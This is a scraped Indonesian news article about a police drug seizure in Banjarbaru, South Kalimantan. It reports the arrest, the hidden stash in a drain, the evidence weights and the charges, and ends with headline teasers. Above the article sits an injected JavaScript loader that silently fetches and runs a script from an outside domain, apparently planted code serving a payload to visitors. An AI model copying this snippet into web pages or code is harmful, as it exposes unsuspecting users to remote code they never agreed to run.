(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Berawal dari laporan warga, M alias Y harus berurusan dengan pihak kepolisian karena kasus penyalahgunaan narkoba. Y diamankan Unit Opsnal Reskrim Polsek Banjarbaru Barat pada Rabu (13/10/2021) sekitar pukul 15.30 Wita.
Kapolsek Banjarbaru Barat AKP Yuda Kumoro Pardede melalu Kasi Humas Polsek Banjarbaru Barat Aiptu Kardi Gunadi mengatakan, pengungkapan narkoba jenis sabu merupakan yang terbesar di Polsek Banjarbaru Barat atas partisipasi warga setempat.
“Saya berharap masyarakat bisa berkontribusi memberikan informasi tentang Narkotika yang masih banyak beredar. Dengan harapan wilayah Kota Banjarbaru terbebas dari pengedar dan pengguna Narkotika,” ucapnya kepada Kanalkalimantan.com, Kamis (14/10/2021) siang.
Ratusan gram sabu berhasil diamankan Unit Opsnal Reskrim Polsek Banjarbaru Barat dari tangan Y, setelah sempat mengelabui petugas dengan menyimpan sabu di dalam saluran pembuangan.
Baca juga : Minta Gubernur Kalsel Buka Kuping, Aksi Kamisan Bawakan ‘Korek Kuping’ Raksasa
Dengan kejelian polisi barang haram tersebut berhasil ditemukan petugas pada saat penggeledahan di kos pelaku di Jalan Sungai Karangan, Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin.
“Didapat satu plastik hitam dengan lakban di saluran pembuangan air di bagian belakang dekat kamar mandi,” katanya.
Adapun barang bukti yang berhasil diamankan petugas berupa 1 plastik klip besar narkotika jenis sabu dengan berat bersih 143,79 gram. Lalu 1 plastik klip kecil narkotika jenis sabu dengan berat berat bersih 3,78 gram, 1 plastik klip kecil berat kotor 5,21 gram dan berat bersih 4,77 gram, 1 plastik klip kecil berat kotor 5,25 gram dan berat bersih 4,81 gram, 1 plastik klip kecil berat kotor 5,25 gram dan berat bersih 4,81 gram dan 1 plastik klip kecil berat kotor 5,21 gram dan berat bersih 4,77 gram.
Kemudian, 1 plastik klip kecil narkotika jenis sabu dengan berat kotor 5,23 gram dan berat bersih 4,79 gram, 1 plastik klip kecil berat kotor 4,94 gram dan berat bersih 4,50 gram, 1 plastik klip kecil berat kotor 5,27 gram dan berat bersih 4,83 gram, dan 1 plastik klip kecil berat kotor 5,25 gram dan berat bersih 4,81 gram.
Temuan dan dugaan peredaran gelap dan penyalahgunaan narkotika golongan I jenis sabu tersebut, pelaku dijatuhi Pasal 114 Ayat (2) sub Pasal 112 Ayat (2) UU RI No. 35 Tahun 2009 tentang Narkotika. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More
This website uses cookies.